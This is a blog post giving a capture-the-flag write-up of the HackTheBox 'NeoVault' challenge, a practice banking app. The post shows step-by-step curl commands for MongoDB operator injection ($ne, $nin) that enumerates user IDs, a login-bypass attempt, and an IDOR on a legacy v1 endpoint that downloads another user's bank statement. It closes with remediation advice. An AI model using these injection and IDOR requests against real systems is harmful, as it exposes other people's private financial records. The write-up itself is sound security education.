DEV Community

Cover image for HackTheBox: NeoVault Challenge Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

HackTheBox: NeoVault Challenge Writeup

Summary

NeoVault is a small banking app (Next.js frontend + REST API) that lets users register, transfer funds, and download PDF statements. The API ships in two parallel versions, v1 and v2. v2 patched an authorization bug on the statement-download endpoint but left the vulnerable v1 route reachable, and a separate lookup endpoint (/api/v2/auth/inquire) was vulnerable to MongoDB operator injection. Chaining the two — using the injection to find a target user's ObjectId, then feeding that ID into the unpatched v1 download endpoint — pulls another user's bank statement, which contains the flag.

Recon — mapping the API

Started by just poking the app manually with curl to see what was there:

curl http://<MACHINE-IP>:31964/login
Enter fullscreen mode Exit fullscreen mode

This returned the full server-rendered HTML of a Next.js login page — email/password form, a link to /register. Nothing API-specific in the raw HTML itself, but Next.js ships its client bundle references inline (self.__next_f.push(...)), which point at the JS chunks that actually drive the forms. Same story on /register, which showed a username/email/password form instead.

Tried posting directly to the page route to see if it doubled as an API endpoint:

curl http://<MACHINE-IP>:31964/register \
  -H "Content-Type: application/json" \
  -d '{"username":"tester001", "email":"a@a.com", "password":"testtest"}'
Enter fullscreen mode Exit fullscreen mode
405: Method Not Allowed
Enter fullscreen mode Exit fullscreen mode

Confirms /register is a page, not an API route — the real submit handler lives elsewhere. Pulled the JS chunks referenced by the login/register pages and grepped them for API paths:

curl -s http://<MACHINE-IP>:31964/_next/static/chunks/942-89a992883d25b0cc.js -o form-shared.js
curl -s http://<MACHINE-IP>:31964/_next/static/chunks/app/register/page-c76900542afe702c.js -o register-page.js
curl -s http://<MACHINE-IP>:31964/_next/static/chunks/app/login/page-fd11beaf97df8829.js -o login-page.js

grep -oE '"/api/[a-zA-Z0-9/_-]*"' form-shared.js register-page.js login-page.js
Enter fullscreen mode Exit fullscreen mode

That surfaced the full route map, duplicated across two API versions:

/api/v1/auth/{me,login,register,logout,change-email}
/api/v1/transactions/{,deposit,balance-history,categories-spending,download-transactions}
/api/v2/auth/{me,login,register,logout,change-email,inquire}
/api/v2/transactions/{,deposit,balance-history,categories-spending,download-transactions}
Enter fullscreen mode Exit fullscreen mode

One route has no v1 counterpart: /api/v2/auth/inquire. A v2-only addition usually means newer, less battle-tested code — worth prioritizing.

A cleaner look at the same data came out of the endpoint config object bundled in register-page.js:

{endpointsV1:{me:"/api/v1/auth/me", login:"/api/v1/auth/login", ..., downloadTransactions:"/api/v1/transactions/download-transactions"},
 endpointsV2:{me:"/api/v2/auth/me", login:"/api/v2/auth/login", ..., downloadTransactions:"/api/v2/transactions/download-transactions", inquireUser:"/api/v2/auth/inquire"}}
Enter fullscreen mode Exit fullscreen mode

Getting an account

curl -s -X POST http://<MACHINE-IP>:31964/api/v2/auth/register \
  -H "Content-Type: application/json" \
  -d '{"username":"tester001","email":"a@a.com","password":"testtest"}'
Enter fullscreen mode Exit fullscreen mode
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...."}
Enter fullscreen mode Exit fullscreen mode

The response is a JWT, but the app actually authenticates over an httpOnly cookie named token (confirmed later via curl -v), not a manually-attached Bearer header — the frontend's fetch calls all set credentials:"include". Logging in properly and saving the cookie jar:

curl -s -X POST http://<MACHINE-IP>:31964/api/v2/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"a@a.com","password":"testtest"}' \
  -c cookies.txt

curl -s http://<MACHINE-IP>:31964/api/v2/auth/me -b cookies.txt
Enter fullscreen mode Exit fullscreen mode
{"message":"Authorized","_id":"6a5464fb505efa8a78b0cec9","username":"tester001","balance":100,"email":"a@a.com"}
Enter fullscreen mode Exit fullscreen mode

Note: the session cookie is short-lived (Max-Age=3600), so it needed refreshing more than once over the course of the box — a couple of later requests failed with {"message":"Unauthorized"} simply because the cookie had gone stale, not because of a real auth issue.

Vulnerability 1 — NoSQL injection on /api/v2/auth/inquire

A normal lookup by username behaved like a real database query rather than a canned response:

curl -s -G "http://<MACHINE-IP>:31964/api/v2/auth/inquire" \
  --data-urlencode 'username=admin' -b cookies.txt
Enter fullscreen mode Exit fullscreen mode
{"message":"User not found"}
Enter fullscreen mode Exit fullscreen mode

Since every _id in the app is a Mongo-style ObjectId, and Express turns bracketed query params (field[$op]=value) into nested objects, this looked like a candidate for MongoDB operator injection — a findOne({ username: req.query.username }) call that never sanitizes what it's handed. Tested it:

curl -s -G "http://<MACHINE-IP>:31964/api/v2/auth/inquire" \
  --data-urlencode 'username[$ne]=null' -b cookies.txt
Enter fullscreen mode Exit fullscreen mode
{"_id":"6a546264505efa8a78b0cebb","username":"neo_system"}
Enter fullscreen mode Exit fullscreen mode

Confirmed — sending username[$ne]=null turned the query into "match any user whose username isn't null," and Mongo handed back whichever document it found first (neo_system, the system account that sends the welcome bonus). Excluding known usernames with $nin to dig further:

curl -s -G "http://<MACHINE-IP>:31964/api/v2/auth/inquire" \
  --data-urlencode 'username[$nin][]=neo_system' \
  --data-urlencode 'username[$nin][]=tester001' \
  -b cookies.txt
Enter fullscreen mode Exit fullscreen mode
{"_id":"6a546265505efa8a78b0cec0","username":"user_with_flag"}
Enter fullscreen mode Exit fullscreen mode

Found the target account and its ObjectId. The /inquire response only ever leaks _id and username though, no matter how it's queried — confirmed with a direct, non-injected lookup:

curl -s -G "http://<MACHINE-IP>:31964/api/v2/auth/inquire" \
  --data-urlencode 'username=user_with_flag' -b cookies.txt
Enter fullscreen mode Exit fullscreen mode
{"_id":"6a546265505efa8a78b0cec0","username":"user_with_flag"}
Enter fullscreen mode Exit fullscreen mode

Same limited fields either way, so this endpoint is a stepping stone to get an ObjectId, not the full exploit.

Also tried the same trick against /api/v2/auth/login, hoping for an auth bypass:

curl -s -X POST "http://<MACHINE-IP>:31964/api/v2/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"user_with_flag","password":{"$ne":null}}'
Enter fullscreen mode Exit fullscreen mode
{"message":"Validation failed","errors":[{},{}]}
Enter fullscreen mode Exit fullscreen mode

No luck — login has real input validation (Joi/express-validator style), so this injection class was only live on the newer, less-tested /inquire route.

Dead end — poking /transactions and /deposit for IDOR params

Before finding the real bug, spent some time trying to pass a target user ID directly to the transactions list and deposit endpoints, on the theory they might accept a userId/toUser override:

curl -s "http://<MACHINE-IP>:31964/api/v2/transactions?userId=6a546265505efa8a78b0cec0" -b cookies.txt | jq
Enter fullscreen mode Exit fullscreen mode
{
  "transactions": [ { ... same single "Welcome bonus credit" transaction as before ... } ],
  "pagination": { "total": 1, "page": 1, "pages": 1 }
}
Enter fullscreen mode Exit fullscreen mode

The userId param was silently ignored — results stayed scoped to the logged-in session regardless. Same with a path-style ID and a body-based userId on deposit:

curl -s "http://<MACHINE-IP>:31964/api/v2/transactions/6a546265505efa8a78b0cec0" -b cookies.txt
Enter fullscreen mode Exit fullscreen mode
Cannot GET /api/v2/transactions/6a546265505efa8a78b0cec0
Enter fullscreen mode Exit fullscreen mode
curl -s -X POST "http://<MACHINE-IP>:31964/api/v2/transactions/deposit" -b cookies.txt \
  -H "Content-Type: application/json" \
  -d '{"toUser":"6a546265505efa8a78b0cec0","amount":1,"description":"test"}'
Enter fullscreen mode Exit fullscreen mode
{"message":"Unauthorized"}
Enter fullscreen mode Exit fullscreen mode

(That last "Unauthorized" turned out to just be a stale cookie at the time, not a real rejection of the field — but the userId override on /transactions genuinely doesn't work either way.) None of these panned out; v2 transaction endpoints correctly scope everything server-side. The real bug turned out to live on the download endpoint instead, and specifically on its v1 counterpart.

Vulnerability 2 — IDOR via legacy API version on statement download

The transactions tab in the app exposes a PDF statement download:

curl -s -X POST "http://<MACHINE-IP>:31964/api/v2/transactions/download-transactions" -b cookies.txt -o out.pdf
file out.pdf
Enter fullscreen mode Exit fullscreen mode
out.pdf: PDF document, version 1.3, 1 page(s)
Enter fullscreen mode Exit fullscreen mode
pdftotext out.pdf -
Enter fullscreen mode Exit fullscreen mode
NeoVault BANK STATEMENT
Account Holder Information
Username: tester001
...
Total Credits: $100.00
Total Debits: $0.00
Enter fullscreen mode Exit fullscreen mode

Passing an arbitrary userId in the v2 request body was silently ignored, same as the transactions list — v2 correctly scopes the statement to the authenticated session no matter what's in the body. Confirmed auth was actually enforced (not a no-op check) by sending the request with no cookie at all:

curl -s -X POST "http://<MACHINE-IP>:31964/api/v2/transactions/download-transactions"
Enter fullscreen mode Exit fullscreen mode
{"message":"Unauthorized"}
Enter fullscreen mode Exit fullscreen mode

The interesting behavior showed up on v1: calling the equivalent old-version route with an _id field in the body works, and works for any ID — meaning v1 never got the session-scoping fix v2 has, and instead trusts a client-supplied identifier directly:

curl -s -X POST "http://<MACHINE-IP>:31964/api/v1/transactions/download-transactions" \
  -b cookies.txt \
  -H "Content-Type: application/json" \
  -d '{"_id":"6a546265505efa8a78b0cec0"}' \
  -o flag_user_statement.pdf

file flag_user_statement.pdf
Enter fullscreen mode Exit fullscreen mode
flag_user_statement.pdf: PDF document, version 1.3, 1 page(s)
Enter fullscreen mode Exit fullscreen mode
pdftotext flag_user_statement.pdf -
Enter fullscreen mode Exit fullscreen mode
NeoVault BANK STATEMENT
Account Holder Information
Username: user_with_flag

Date        From             To               Description              Amount
7/6/2026    user_with_flag   user_with_flag   HTB{REDACTED}            1337.00
7/6/2026    neo_system       user_with_flag   Welcome bonus credit     1337.00

Transaction Summary
Total Credits: $0.00
Total Debits: $2674.00
Enter fullscreen mode Exit fullscreen mode

Supplying user_with_flag's ObjectId to the v1 endpoint returned their full statement with zero check that the requester owned that account — a classic Broken Object-Level Authorization / IDOR bug, made exploitable specifically because the "fixed" version's authorization logic was never backported (or removed) from the old one. The flag sits in the description field of a self-transaction the target account made to itself — planted somewhere only a full statement pull would reveal it.

Attack Chain

Register account → Authenticate (httpOnly cookie: token)
        │
        ▼
Enumerate API routes via Next.js JS bundles
(find /api/v2/auth/inquire — v2-only, no v1 equivalent)
        │
        ▼
NoSQL operator injection on /api/v2/auth/inquire
username[$ne]=null / username[$nin][]=...
→ leaks ObjectIds of other users (neo_system, user_with_flag)
        │
        ▼
Downgrade to /api/v1/transactions/download-transactions
(unpatched: accepts client-supplied _id, no ownership check)
        │
        ▼
POST { "_id": "<user_with_flag ObjectId>" }
→ downloads user_with_flag's PDF bank statement
        │
        ▼
Flag sits in a transaction description inside the PDF
Enter fullscreen mode Exit fullscreen mode

Key Vulnerabilities

# Vulnerability Location Impact
1 NoSQL operator injection ($ne, $nin) GET /api/v2/auth/inquire Enumerate arbitrary user accounts and their ObjectIds
2 Broken Object-Level Authorization (IDOR) POST /api/v1/transactions/download-transactions Download any user's PDF bank statement by supplying their _id
3 Inconsistent security posture across API versions v1 vs v2 routes Legacy endpoints left live without the authorization fixes applied to the current version

Root Cause & Fix

  • Sanitize query/body input before it reaches a Mongoose query. Reject non-string types on fields like username, or use express-mongo-sanitize to strip $-prefixed keys.
  • Retire deprecated API versions, or ensure every version enforces the same authorization checks as the current one — don't fix a bug in v2 and leave v1 reachable with the old, vulnerable logic.
  • Never trust a client-supplied user/account identifier for "my own resource" actions. Always derive the target user from the authenticated session server-side, not from the request body.

Tools Used

  • curl — manual request crafting, endpoint discovery, auth flow
  • grep — extracting API routes and endpoint config out of Next.js JS bundles
  • pdftotext (poppler-utils) — extracting text from downloaded PDF statements

Top comments (0)